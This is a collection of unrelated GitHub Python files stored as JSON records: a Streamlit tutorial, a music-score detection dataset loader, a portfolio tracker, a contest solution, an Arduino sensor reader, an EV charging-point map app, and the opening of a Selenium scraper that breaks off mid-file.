  st.image('./images/sl8.png', use_column_width = True)\n    st.image('./images/sl9.png', use_column_width = True)\n    \n    st.write('''#''')\n    st.write('''- 파일 업로드 및 처리''')\n    code9 = '''\n    import streamlit as st\n    import pandas as pd\n\n    uploaded_file = st.file_uploader(\"CSV 파일 업로드\", type=[\"csv\"])\n    if uploaded_file is not None:\n        data = pd.read_csv(uploaded_file)\n        st.dataframe(data)\n    '''\n    st.code(code9, language='python')\n    uploaded_file = st.file_uploader(\"CSV 파일 업로드\", type=[\"csv\"])\n    if uploaded_file is not None:\n        data = pd.read_csv(uploaded_file)\n        st.dataframe(data)\n    st.write('''*위 예시에서는 사용자가 CSV 파일을 업로드하면 업로드된 파일이 DataFrame으로 변환되어 표 형태로 시각화 되며, \n             파일 유형 및 처리 방식은 원하는 대로 조정 가능하다.''')\n    \n    st.write('''#''')\n    st.write('''- 파일 다운로드 링크 생성''')\n    code10 = '''\n    import streamlit as st\n    st.download_button(label=\"다운로드 버튼\", data=\"데이터 또는 파일 내용\", file_name=\"다운로드할 파일 이름\", key=\"download-button\")\n    '''\n    st.code(code10, language='python')\n    data = \"다운로드할 파일의 내용입니다.\"\n    file_name = \"sample.txt\"\n    st.download_button(\"파일 다운로드\", data=data, file_name=file_name, key=\"download-button\")\n    \n    st.divider()\n    st.write('''**이외 기능 및 사용법은 'https://docs.streamlit.io/' 참조**''')\n\n    \n    ","repo_name":"ohjeonsuk/semi_project","sub_path":"utils/streamlit_manual_desc.py","file_name":"streamlit_manual_desc.py","file_ext":"py","file_size_in_byte":7520,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"37941146084","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nfrom datasets.imdb import imdb\nimport numpy as np\nimport scipy.sparse\nimport pickle\nimport subprocess\nimport uuid\nfrom datasets.voc_eval import voc_eval\nfrom main.config import cfg\nimport math\nfrom obb_anns import OBBAnns\nimport json\n\n\nclass deep_scoresV2(imdb):\n  def __init__(self, image_set, year, devkit_path=None):\n    imdb.__init__(self, 'DeepScoresV2' + year + '_' + image_set)\n    self._year = year\n    self._devkit_path = self._get_default_path() if devkit_path is None \\\n      else devkit_path\n\n    self._image_set = image_set\n\n    self._data_path = self._devkit_path + \"/images\"\n\n    self.blacklist = [\"staff\", 'legerLine']\n\n\n    self.o = OBBAnns(self._devkit_path+'/deepscores_'+image_set+'.json')\n    self.o.load_annotations()\n    print(self.o.annotation_sets)\n    self.o.set_annotation_set_filter(['deepscores'])\n    self.o.set_class_blacklist(self.blacklist)\n\n    self._classes = [v[\"name\"] for (k, v) in self.o.get_cats().items()]\n    self._class_ids = [k for (k, v) in self.o.get_cats().items()]\n\n    self._class_to_ind = dict(list(zip(self.classes, list(range(self.num_classes)))))\n    self._class_ids_to_ind = dict(list(zip(self._class_ids, list(range(self.num_classes)))))\n    self._ind_to_class_ids = {v: k for k, v in self._class_ids_to_ind.items()}\n\n    self._image_index = self._load_image_set_index()\n\n    # self.cat_ids = list(self.o.get_cats().keys())\n    # self.cat2label = {\n    #   cat_id: i\n    #   for i, cat_id in enumerate(self.cat_ids)\n    # }\n    # self.label2cat = {v: k for k, v in self.cat2label.items()}\n    # self.CLASSES = tuple([v[\"name\"] for (k, v) in self.o.get_cats().items()])\n    # self.img_ids = [id['id'] for id in self.o.img_info]\n\n\n    self._image_ext = '.png'\n\n    # Default to roidb handler\n    self._roidb_handler = self.gt_roidb\n    self._salt = str(uuid.uuid4())\n    self._comp_id = 'comp4'\n\n    # PASCAL specific config options\n    self.config = {'cleanup': True,\n                   'use_salt': True,\n                   'use_diff': False,\n                   'matlab_eval': False,\n                   'rpn_file': None}\n\n\n  def image_path_at(self, i):\n    \"\"\"\n    Return the absolute path to image i in the image sequence.\n    \"\"\"\n    return self.image_path_from_index(self._image_index[i])\n\n  def image_path_from_index(self, index):\n    \"\"\"\n    Construct an image path from the image's \"index\" identifier.\n    \"\"\"\n    image_path = os.path.join(self._data_path, self.o.get_imgs(ids=[index])[0][\"filename\"])\n    assert os.path.exists(image_path), \\\n      'Path does not exist: {}'.format(image_path)\n    return image_path\n\n  def _load_image_set_index(self):\n    \"\"\"\n    Load the indexes listed in this dataset's image set file.\n    \"\"\"\n    # Example path to image set file:\n    image_index = [x[\"id\"] for x in self.o.img_info]\n    return image_index\n\n  def _get_default_path(self):\n    \"\"\"\n    Return the default path where PASCAL VOC is expected to be installed.\n    \"\"\"\n    return os.path.join(cfg.DATA_DIR, 'DeepScores_' + self._year)\n\n  def gt_roidb(self):\n    \"\"\"\n    Return the database of ground-truth regions of interest.\n\n    This function loads/saves from/to a cache file to speed up future calls.\n    \"\"\"\n    cache_file = os.path.join(self.cache_path, self.name + '_gt_roidb.pkl')\n    # if os.path.exists(cache_file):\n    #   with open(cache_file, 'rb') as fid:\n    #     try:\n    #       roidb = pickle.load(fid)\n    #     except:\n    #       roidb = pickle.load(fid, encoding='bytes')\n    #   print('{} gt roidb loaded from {}'.format(self.name, cache_file))\n    #   return roidb\n\n    gt_roidb = [self._load_musical_annotation(index)\n                for index in self.image_index]\n    with open(cache_file, 'wb') as fid:\n      pickle.dump(gt_roidb, fid, pickle.HIGHEST_PROTOCOL)\n    print('wrote gt roidb to {}'.format(cache_file))\n\n    return gt_roidb\n\n  def rpn_roidb(self):\n    if int(self._year) == 2017 or self._image_set != 'debug':\n      gt_roidb = self.gt_roidb()\n      rpn_roidb = self._load_rpn_roidb(gt_roidb)\n      roidb = imdb.merge_roidbs(gt_roidb, rpn_roidb)\n    else:\n      roidb = self._load_rpn_roidb(None)\n\n    return roidb\n\n  def _load_rpn_roidb(self, gt_roidb):\n    filename = self.config['rpn_file']\n    print('loading {}'.format(filename))\n    assert os.path.exists(filename), \\\n      'rpn data not found at: {}'.format(filename)\n    with open(filename, 'rb') as f:\n      box_list = pickle.load(f)\n    return self.create_roidb_from_box_list(box_list, gt_roidb)\n\n  def _load_musical_annotation(self, index):\n    \"\"\"\n    Load annotation info from obb_anns in the PASCAL VOC\n    format.\n    \"\"\"\n\n\n    anns = self.o.get_anns(img_id=index)\n    boxes = anns['a_bbox']\n    boxes = np.round(np.stack(boxes.to_numpy())).astype(np.uint16)\n\n    gt_classes = np.squeeze(np.stack(anns['cat_id'].to_numpy()).astype(np.int32))\n    gt_classes = np.array(list(map(self._class_ids_to_ind.get, gt_classes)))\n    #blacklisted_anns = [x not in self.blacklist_index for x in gt_classes]\n    #boxes = boxes[blacklisted_anns]\n    #gt_classes = gt_classes[blacklisted_anns]\n\n    num_objs = boxes.shape[0]\n    overlaps = np.zeros((num_objs, self.num_classes), dtype=np.float32)\n\n    # \"Seg\" area for pascal is just the box area\n    seg_areas = np.zeros((num_objs), dtype=np.float32)\n\n    for ind in range(boxes.shape[0]):\n      seg_areas = (boxes[ind,2]-boxes[ind,0]+1) *(boxes[ind,3]-boxes[ind,1]+1)\n      overlaps[ind, gt_classes[ind]] = 1.0\n\n    overlaps = scipy.sparse.csr_matrix(overlaps)\n    max(gt_classes)\n    return {'boxes': boxes,\n            'gt_classes': gt_classes,\n            'gt_overlaps': overlaps,\n            'flipped': False,\n            'seg_areas': seg_areas}\n\n  def _get_comp_id(self):\n    comp_id = (self._comp_id + '_' + self._salt if self.config['use_salt']\n               else self._comp_id)\n    return comp_id\n\n  def _get_voc_results_file_template(self):\n    filename = self._get_comp_id() + '_det_' + self._image_set + '_{:s}.txt'\n    path = os.path.join(\n      self._devkit_path,\n      'results',\n      'musical' + self._year,\n      filename)\n    return path\n\n  def _write_voc_results_file(self, all_boxes):\n   for cls_ind, cls in enumerate(self.classes):\n      if cls == '__background__':\n        continue\n      print('Writing {} VOC results file'.format(cls))\n      filename = self._get_voc_results_file_template().format(cls)\n      with open(filename, 'wt') as f:\n        for im_ind, index in enumerate(self.image_index):\n          dets = all_boxes[cls_ind][im_ind]\n          if dets == []:\n            continue\n          # the VOCdevkit expects 1-based indices\n          for k in range(dets.shape[0]):\n            f.write('{:s} {:.3f} {:.1f} {:.1f} {:.1f} {:.1f}\\n'.\n                    format(str(index), dets[k, -1],\n                           dets[k, 0] + 1, dets[k, 1] + 1,\n                           dets[k, 2] + 1, dets[k, 3] + 1))\n\n  def _do_python_eval(self, output_dir='output', path=None):\n    annopath = os.path.join(\n      self._devkit_path,\n      'segmentation_detection',\n      'xml_annotations',\n      '{:s}.xml')\n    imagesetfile = os.path.join(\n      self._devkit_path,\n      'train_val_test',\n      self._image_set + '.txt')\n    cachedir = os.path.join(self._devkit_path, 'annotations_cache')\n    aps = []\n    # The PASCAL VOC metric changed in 2010\n    use_07_metric = True if int(self._year) < 2010 else False\n    print('VOC07 metric? ' + ('Yes' if use_07_metric else 'No'))\n    if not os.path.isdir(output_dir):\n      os.mkdir(output_dir)\n    for i, cls in enumerate(self._classes):\n      if cls == '__background__':\n        continue\n      filename = self._get_voc_results_file_template().format(cls)\n      rec, prec, ap = voc_eval(\n        filename, annopath, imagesetfile, cls, cachedir, ovthresh=0.5,\n        use_07_metric=use_07_metric)\n      aps += [ap]\n      print(('AP for {} = {:.4f}'.format(cls, ap)))\n      with open(os.path.join(output_dir, cls + '_pr.pkl'), 'wb') as f:\n        pickle.dump({'rec': rec, 'prec': prec, 'ap': ap}, f)\n    print(('Mean AP = {:.4f}'.format(np.mean(aps))))\n    print('~~~~~~~~')\n    print('Results:')\n    # open the file where we want to save the results\n    if path is not None:\n      res_file = open(os.path.join('/DeepWatershedDetection' + path, 'res.txt'),\"w+\")\n      len_ap = len(aps)\n      sum_aps = 0\n      present = 0\n      for i in range(len_ap):\n        print(('{:.3f}'.format(aps[i])))\n        if i not in [26, 32,  35, 36, 39, 45, 48, 67, 68, 74, 89, 99, 102, 118]:\n          if math.isnan(aps[i]):\n            res_file.write(str(0) + \"\\n\")\n          else:\n            res_file.write(('{:.3f}'.format(aps[i])) + \"\\n\")\n            sum_aps += aps[i]\n          present += 1\n      res_file.write('\\n\\n\\n')\n      res_file.write(\"Mean Average Precision: \" + str(sum_aps / float(present)))\n      res_file.close()\n\n    print(('{:.3f}'.format(np.mean(aps))))\n    print('~~~~~~~~')\n    print('')\n    print('--------------------------------------------------------------')\n    print('Results computed with the **unofficial** Python eval code.')\n    print('Results should be very close to the official MATLAB eval code.')\n    print('Recompute with `./tools/reval.py --matlab ...` for your paper.')\n    print('-- Thanks, The Management')\n    print('--------------------------------------------------------------')\n\n  def _do_matlab_eval(self, output_dir='output'):\n    print('-----------------------------------------------------')\n    print('Computing results with the official MATLAB eval code.')\n    print('-----------------------------------------------------')\n    path = os.path.join(cfg.ROOT_DIR, 'lib', 'datasets',\n                        'VOCdevkit-matlab-wrapper')\n    cmd = 'cd {} && '.format(path)\n    cmd += '{:s} -nodisplay -nodesktop '.format(cfg.MATLAB)\n    cmd += '-r \"dbstop if error; '\n    cmd += 'voc_eval(\\'{:s}\\',\\'{:s}\\',\\'{:s}\\',\\'{:s}\\'); quit;\"' \\\n      .format(self._devkit_path, self._get_comp_id(),\n              self._image_set, output_dir)\n    print(('Running:\\n{}'.format(cmd)))\n    status = subprocess.call(cmd, shell=True)\n\n  def evaluate_detections(self, all_boxes, output_dir, path=None):\n    self._write_voc_results_file(all_boxes)\n    self._do_python_eval(output_dir, path)\n    if self.config['matlab_eval']:\n      self._do_matlab_eval(output_dir)\n    if self.config['cleanup']:\n      for cls in self._classes:\n        if cls == '__background__':\n          continue\n        filename = self._get_voc_results_file_template().format(cls)\n        os.remove(filename)\n\n  def competition_mode(self, on):\n    if on:\n      self.config['use_salt'] = False\n      self.config['cleanup'] = False\n    else:\n      self.config['use_salt'] = True\n      self.config['cleanup'] = True\n\n  def prepare_json_dict(self, results):\n      json_results = {\"annotation_set\": \"deepscores\", \"proposals\": []}\n      for idx in range(len(results)):\n          img_id = self._image_index[idx]\n          result = results[idx]\n          for label in range(len(result)):\n              bboxes = result[label]\n              for i in range(bboxes.shape[0]):\n                  data = dict()\n                  data['img_id'] = img_id\n                  data['bbox'] = [str(nr) for nr in bboxes[i][0:-1]]\n                  data['score'] = str(bboxes[i][-1])\n                  data['cat_id'] = self._ind_to_class_ids[label]\n                  json_results[\"proposals\"].append(data)\n      return json_results\n\n  def write_results_json(self, results, filename=None):\n      if filename is None:\n          filename = \"deepscores_results.json\"\n      json_results = self.prepare_json_dict(results)\n\n      with open(filename, \"w\") as fo:\n          json.dump(json_results, fo)\n\n      return filename\n\n  def evaluate(self,\n               results,\n               metric='bbox',\n               logger=None,\n               jsonfile_prefix=None,\n               classwise=True,\n               proposal_nums=(100, 300, 1000),\n               iou_thrs=np.arange(0.5, 0.96, 0.05),\n               average_thrs=False,\n               store_pickle=True):\n      \"\"\"Evaluation in COCO protocol.\n\n      Args:\n          results (list): Testing results of the dataset.\n          metric (str | list[str]): Metrics to be evaluated.\n          logger (logging.Logger | str | None): Logger used for printing\n              related information during evaluation. Default: None.\n          jsonfile_prefix (str | None): The prefix of json files. It includes\n              the file path and the prefix of filename, e.g., \"a/b/prefix\".\n              If not specified, a temp file will be created. Default: None.\n          classwise (bool): Whether to evaluating the AP for each class.\n          proposal_nums (Sequence[int]): Proposal number used for evaluating\n              recalls, such as recall@100, recall@1000.\n              Default: (100, 300, 1000).\n          iou_thrs (Sequence[float]): IoU threshold used for evaluating\n              recalls. If set to a list, the average recall of all IoUs will\n              also be computed. Default: 0.5.\n\n      Returns:\n          dict[str: float]\n      \"\"\"\n\n      metrics = metric if isinstance(metric, list) else [metric]\n      allowed_metrics = ['bbox']\n      for metric in metrics:\n          if metric not in allowed_metrics:\n              raise KeyError(f'metric {metric} is not supported')\n\n      filename = self.write_results_json(results)\n\n      self.o.load_proposals(filename)\n      metric_results = self.o.calculate_metrics(iou_thrs=iou_thrs, classwise=classwise, average_thrs=average_thrs)\n\n      # import pickle\n      # with open('evaluation.pickle', 'rb') as input_file:\n      #     metric_results = pickle.load(input_file)\n\n      # add Name\n      metric_results = {self._classes[self._class_ids_to_ind[key]]: value for (key, value) in metric_results.items()}\n\n      # add occurences\n      occurences_by_class = self.o.get_class_occurences()\n      for (key, value) in metric_results.items():\n          value.update(no_occurences=occurences_by_class[key])\n\n      if store_pickle:\n          import pickle\n          pickle.dump(metric_results, open('evaluation_renamed.pickle', 'wb'))\n      return metric_results\n\n\nif __name__ == '__main__':\n  print(\"do not execute\")\n","repo_name":"tuggeluk/Detection_Service","sub_path":"dwd_v2/datasets/deep_scoresV2.py","file_name":"deep_scoresV2.py","file_ext":"py","file_size_in_byte":14259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19041052590","text":"from stock import stock\nimport time\nimport datetime\n\nclass portfolio():\n    def __init__(self, portfolio_contents):\n        self.portfolio_ = portfolio_contents\n        self.netAssetValue()\n        self.weekly()\n\n    def netAssetValue(self):\n        self.stocks = []\n        current_positions = []\n        for item in self.portfolio_:\n            stock_obj = stock(item['ticker'])\n            stock_obj.get_history()\n            time.sleep(2)\n            current_positions.append(stock_obj.get_current())\n            stock_obj.driver.terminate()\n            self.stocks.append(stock_obj)\n\n        original_positions = [item['entry_price'] for item in self.portfolio_]\n\n        self.netValue = 0\n        for index, pair in enumerate(zip(current_positions, original_positions)):\n            running_net = (pair[0]-pair[1])*self.portfolio_[index]['quantity']\n            self.stocks[index].delta = running_net\n            self.netValue += running_net\n\n    def weekly(self):\n        #date = datetime.date.today().strftime(\"%B %d, %Y\") might not need this\n        for index, company in enumerate(self.stocks):\n            prev_open = company.history.iloc[6]['Open']\n            current_close = company.history.iloc[0]['Adj. Close']\n            delta = self.portfolio_[index]['quantity']*(current_close - prev_open)\n            company.weeklyDelta = delta\n\n\n\n\n\n\n'''positions_current = []\npositions_original = []\nfor item in Portfolio:\n    positions_original.append(item['entry_price'])\n    a = stock(item['ticker'])\n    positions_current.append(a.get_current())\n\n#clean this whole process up a little\nnet = 0\nindex = 0\nfor current, original in zip(positions_current, positions_original):\n    delta = current-original\n    net+=delta*Portfolio[index]['quantity']\n    index+=1\n'''\n","repo_name":"nnethercott/quaran-timeismoney","sub_path":"portfolio.py","file_name":"portfolio.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18331635191","text":"import sys\nimport math\nimport bisect\nfrom heapq import heapify, heappop, heappush\nfrom collections import deque, defaultdict, Counter\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\nMOD99 = 998244353\n\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\nSMI = lambda: input().split()\nSLI = lambda: list(SMI())\nEI = lambda m: [NLI() for _ in range(m)]\n\n\ndef solve(N, K, P, A):\n    res = \"Bob\"\n\n    P = [0, 0] + P\n    A = [0] + A\n    G = [[] for _ in range(N+1)]\n    for i in range(2, N+1):\n        G[P[i]].append(i)\n\n    S = [set() for _ in range(N+1)]\n    # i以下の-1の数\n    M = [0] * (N+1)\n\n    def dfs(now):\n        if A[now] == -1:\n            M[now] += 1\n        for g in G[now]:\n            dfs(g)\n            M[now] += M[g]\n        if P[now] > 0:\n            S[P[now]] |= S[now] | {A[now]}\n\n\n    def short(i):\n        res = set()\n        for k in range(K):\n            if k not in S[i]:\n                res.add(k)\n        return res\n\n    dfs(1)\n    # print(M)\n\n    for i in range(1, N+1):\n        # -1が2個以上ある部分木は次でつ���されるのでだめ\n        if M[i] > 1:\n            continue\n        # 見てる点がKならだめ\n        if A[i] == K:\n            continue\n        # 部分木にKがあってもだめ\n        if K in S[i]:\n            continue\n\n        # K未満を揃えるのにたりない要素\n        rem = short(i)\n\n        # K未満がすでに全部ある\n        if len(rem) == 0:\n            res = \"Alice\"\n            break\n        # K未満は1個だけ足りないが-1が1個だけある\n        if len(rem) == 1 and M[i] == 1:\n            res = \"Alice\"\n            break\n        # K未満は1個だけ足りないがA[i]がそれ\n        if len(rem) == 1 and A[i] in rem:\n            res = \"Alice\"\n            break\n        # K未満は2個だけ足りないがA[i]がそのどちらかで-1が1個ある\n        if len(rem) == 2 and M[i] == 1 and A[i] in rem:\n            res = \"Alice\"\n            break\n\n    return res\n\n\ndef main():\n    T = NI()\n    for _ in range(T):\n        N, K = NMI()\n        P = NLI()\n        A = NLI()\n        res = solve(N, K, P, A)\n        print(res)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"ARC162C.py","file_name":"ARC162C.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29429286524","text":"\"\"\"                              Web_Reader.py\n\nRequired Associated Hardware:\n    There is an Arduino MKR 1010 with MLX 90614 sensor board and sketch required as input.  This board should be actively\n    running before starting this routine.  reads sensor values, and will serve them to a web page generated by code in the sketch.\n    The ip address of this server is set in the sketch code, and the url setting below must match this setting. This code uses Selenium as a\n    client to the Arduino web server. Refreshing the web driver causes the Arduino web server to sample values from the\n    sensor and post them at the specified url.  They are formatted in the body of the web page as a table, which can be\n    read directly by pandas using the read_html method directly into a pandas dataframe.  This dataframe is parsed by\n    this routine, appended to a .csv data file every <numRowsToWrite> readings, and plotted interactively in matplotlib.\n\nRequired packages:\n    selenium    - also need to download driver for chrome, see here: https://sites.google.com/a/chromium.org/chromedriver/downloads\n                  Note that you will need to specify the path where you download this driver as an assumption below!\n    time\n    pandas\n    matplotlib\n\nSettings:                                                                                                         \"\"\"\n\nurl                 = 'http://192.168.4.1'                                    ##  Arduino Web Server with MXL 90614 data\nrefreshrate         = 5                                                         ##  sample rate in seconds\nchromeDriverPath    = 'C:/Users/hoyes/Documents/libs/chromedriver.exe'          ##  path to Selenium Google Chrome Driver\ncsvDataFilename     = 'IR_temp_data.csv'                                        ##  sensor readings are saved to this file\nnumRowsToWrite      = 60                                                        ##  sensor readings will be written to .csv at this count\n\n#########################################################################################################################################\n\nfrom selenium import webdriver\nimport time\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\n\n\ndef GetSensorDataDict(driver):\n    driver.refresh()\n    table = pd.read_html(driver.page_source, header=0)[0]\n    rowDict = {col: val[0] for col, val in table.iteritems()}\n    rowDict['Diff'] = rowDict['Ambient_F'] - rowDict['Object_F']\n    rowDict['DateTime'] = pd.Timestamp.now()\n    return rowDict\n\ndef WriteListToFile(rowList,csvDataFilename,header=False):\n    print(\"Writing 60 recs to database\")\n    df = pd.DataFrame(rowList)\n    f = open(csvDataFilename, 'a')\n    df.to_csv(f, header=header, index=False)\n    f.close()\n\nclass DataCharter:\n    def __init__(self, numPointsMax=5000):\n        self.x = []\n        self.y = []\n        self.d = []\n        self.dif = []\n        self.pltBufSize = numPointsMax\n\n        plt.ion()\n\n    def UpdateChart(self,rowDict):\n        if rowDict['Ambient_F'] < 150 and rowDict['Object_F'] < 150:\n            self.d.append(rowDict['DateTime'])\n            self.d = self.d[-self.pltBufSize:]\n            self.x.append(rowDict['Ambient_F'])\n            self.x = self.x[-self.pltBufSize:]\n            self.y.append(rowDict['Object_F'])\n            self.y = self.y[-self.pltBufSize:]\n            self.dif.append(rowDict['Diff'])\n            self.dif = self.dif[-self.pltBufSize:]\n\n            plt.gca().cla()  # clear the plot\n            plt.plot(self.d, self.y)\n            plt.plot(self.d, self.x)\n            plt.plot(self.d,self.dif)\n            plt.title(\"Ambient vs Object IR\")\n            plt.legend(['Sky IR F', 'Ambient IR F', 'Diff'], loc='upper left')\n            plt.grid()\n            plt.draw()\n            plt.pause(0.1)\n\n#########################################################################################################################################\n\n## chart initialize\ndChart = DataCharter()\n\n## Selenium Web Browser using Chrome\ntry:\n    driver = webdriver.Chrome(chromeDriverPath)\n    driver.get(url)\nexcept:\n    print(\"Cannot open Chrome Driver or Arduino Sensor Server is Offline\")\n    exit()\n\nSensReadList = []        # this is a list of dictionaries; each dict contains a sensor reading\n\nfor sample in range(1000000):\n    time.sleep(refreshrate)                             ##  wait until next reading\n    try:\n        dctSensRead = GetSensorDataDict(driver)         ##  get the sensor reading from Arduino web server\n    except:\n        break\n    SensReadList.append(dctSensRead)                    ##  append reading to the sensor reading list\n    if len(SensReadList) == numRowsToWrite:             ## save the sensor data to csv file when buffer is full\n        WriteListToFile(SensReadList,csvDataFilename,sample==0)\n        SensReadList = []\n    dChart.UpdateChart(dctSensRead)                     ##  update chart with current sensor reading\n\nWriteListToFile(SensReadList,csvDataFilename,sample==0) ##  write any unsaved data points to the csv file and exit\nprint(\"Arduino IR Sensor is Offline - any unwritten data was saved to \"+csvDataFilename)","repo_name":"hoyesa/cloud_sensor","sub_path":"web_reader.py","file_name":"web_reader.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40019257166","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 13 20:49:03 2022\r\n\r\n@author: matth\r\n\"\"\"\r\n# In[1]:\r\n\r\n\r\nimport pandas as pd\r\nimport requests\r\nimport json\r\nimport folium\r\nfrom folium.plugins import MarkerCluster\r\nimport streamlit as st\r\nfrom streamlit_folium import st_folium\r\n\r\n\r\n\r\n#klas\r\nclass Provincie:\r\n  def __init__ (self, provincie, longitude, latitude):\r\n    self.provincie = provincie\r\n    self.longitude = longitude\r\n    self.latitude = latitude\r\n    \r\n  def show_all(self):\r\n    print (self.provincie, self.longitude, self.latitude)\r\n\r\n# In[2]:\r\n\r\n\r\nurl = \"https://api.openchargemap.io/v3/poi/?maxresults=7900\"\r\n\r\nparams = {\"latitude\": 52.377956, \"longitude\": 4.897070, \"countrycode\": \"NL\", \r\n\r\n\"output\": \"json\", \"compact\": True, \"verbose\": False}\r\n\r\nheaders = {\"Content-Type\": \"application/json\", \"X-API-Key\": \"2401ef11-fde1-4b32-a14f-16f0244ddd38\"}\r\n\r\nresponse = requests.request(\"GET\", url, headers=headers, params=params)\r\n\r\n\r\n# In[3]:\r\n\r\n\r\njson=response.json()\r\nOpen_Charge_Map=pd.DataFrame(json)\r\napi_data=Open_Charge_Map\r\n#api_data\r\n\r\n\r\n# In[4]:\r\n\r\ndfadress = pd.DataFrame(api_data['AddressInfo'].values.tolist())\r\n#dfadress\r\n\r\n\r\n# In[5]:\r\n\r\n\r\napi_data.drop(['AddressInfo'], axis=1)\r\n\r\nmergedDf = dfadress.merge(api_data, how='right', left_index=True, right_index=True)\r\n#mergedDf\r\n\r\n\r\n# In[6]:\r\n\r\n\r\napi_clean= mergedDf[['ID_y', 'NumberOfPoints',\r\n       'DateCreated', 'UsageCost', 'ID_x', 'Title', 'AddressLine1', 'Town', 'Postcode', 'CountryID',\r\n       'Latitude', 'Longitude'\r\n       ]]\r\n#api_clean\r\n\r\n\r\n# In[7]:\r\n\r\n\r\napi_clean.rename(columns={'ID_y': 'ID', 'ID_x': 'Adress_ID', 'AddressLine1' : 'Adress'})\r\n\r\n\r\n# In[14]:\r\n#dropdownlijst\r\ncombo_list=[]\r\noriginal_list = []\r\ncombo_list.append(Provincie(\"Nederland\", 52.1009, 5.6463))\r\ncombo_list.append(Provincie(\"Drenthe\", 52.947601, 6.623058))\r\ncombo_list.append(Provincie(\"Flevoland\", 52.527978, 5.595350))\r\ncombo_list.append(Provincie(\"Friesland\", 53.164164, 5.781754))\r\ncombo_list.append(Provincie(\"Gelderland\", 52.04515, 5.871823))\r\ncombo_list.append(Provincie(\"Groningen\", 53.2887, 6.7061))\r\ncombo_list.append(Provincie(\"Limburg\", 51.442723, 6.060872))\r\ncombo_list.append(Provincie(\"Noord-Brabant\", 51.4826537, 5.232168))\r\ncombo_list.append(Provincie(\"Noord-Holland\", 52.375029, 4.630962))\r\ncombo_list.append(Provincie(\"Overijssel\", 52.438781, 6.501641))\r\ncombo_list.append(Provincie(\"Utrecht\",52.0209538, 4.8687419))\r\ncombo_list.append(Provincie(\"Zeeland\", 51.494030, 3.849681))\r\ncombo_list.append(Provincie(\"Zuid-Holland\", 52.090737, 5.121420))\r\n\r\n    \r\nfor obj in combo_list:\r\n    original_list.append(obj.provincie)\r\n    \r\nresult = st.selectbox('Selecteer de provincie', original_list)\r\n   \r\nfor obj in combo_list:\r\n    if (result == obj.provincie):\r\n      querystring = [obj.longitude, obj.latitude]\r\n      \r\nst.write(f'QueryString {querystring}')\r\n\r\ndef switch(result):\r\n    if result == \"Nederland\":\r\n        return 7\r\n    elif result == \"Noord-Holland\":\r\n        return 8.3\r\n    elif result == \"Zuid-Holland\":\r\n        return 9\r\n    elif result == \"Zeeland\":\r\n        return 9.3\r\n    elif result == \"Noord-Brabant\":\r\n        return 9\r\n    elif result == \"Flevoland\":\r\n        return 9.4\r\n    elif result == \"Overijssel\":\r\n        return 9\r\n    elif result == \"Limburg\":\r\n        return 9\r\n    elif result == \"Drenthe\":\r\n        return 9      \r\n    elif result == \"Groningen\":\r\n        return 9.5\r\n    elif result == \"Friesland\":\r\n        return 9\r\n    elif result == \"Gelderland\":\r\n        return 9\r\n    elif result == \"Utrecht\":\r\n        return 10\r\n\r\n######### foliummap\r\nlogo_url = 'https://www.laadpalenwijzer.nl/wp-content/uploads/2022/03/laadpaal-icon-by-monkik.png'\r\n\r\na = folium.Map(location=querystring, zoom_start=switch(result))\r\n\r\nmarker_cluster2 = MarkerCluster().add_to(a)\r\n\r\nfor i, x in api_clean.iterrows():\r\n    folium.Marker(location=[x['Latitude'], x['Longitude']],\r\n                       popup=\"<strong>\" + x['Title'] +\"<strong>\",\r\n                       tooltip='Klik hier om het adres te zien',\r\n                       fill_opacity=0.7,\r\n                       fill= True,\r\n                       icon= folium.features.CustomIcon(logo_url,\\\r\n                                  icon_size=(50, 50))\r\n                       ).add_to(marker_cluster2)\r\na = add_categorical_legend(a, 'Legenda', colors = df['laadpaal'], labels = [\"groen\", \"geel\", \"rood\"])\r\nst_data = st_folium(a, width = 725)\r\n\r\n\r\n       \r\n\r\n\r\n","repo_name":"matthijs1337/OpenChargeMap","sub_path":"Case3Groep5.py","file_name":"Case3Groep5.py","file_ext":"py","file_size_in_byte":4413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"39261091335","text":"import pymongo\nfrom selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom pyquery import PyQuery as pq\nfrom configboos import *\nfrom urllib.parse import quote\nimport time\nimport datetime\nimport string\nimport zipfile\n\nglobal t2\nt2 = 1\n\nprofile = webdriver.FirefoxOptions()\nprofile.add_argument(\"--start-maximized\")\n\n#profile.add_extension(proxy_auth_plugin_path)\nbrowser=webdriver.Firefox(options=profile)\n#opt.add_argument('--headless')  # 浏览器不提供可视化界面。Linux下如果系统不支持可视化不加这条会启动失败\n# opt.binary_location = r\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" # 手动指定使用的浏览器位置\n#browser  = webdriver.Chrome()  # 创建无界面对象\n#chrome_options = webdriver.ChromeOptions()\n#chrome_options.add_argument('--headless')\n#profile.add_argument('-headless')\n#browser = webdriver.Chrome()\n\nwait = WebDriverWait(browser, 15)\n\nclient = pymongo.MongoClient(MONGO_URL)\ndb = client[MONGO_DB]\n\ncookie_list=[\n{\n    \"domain\": 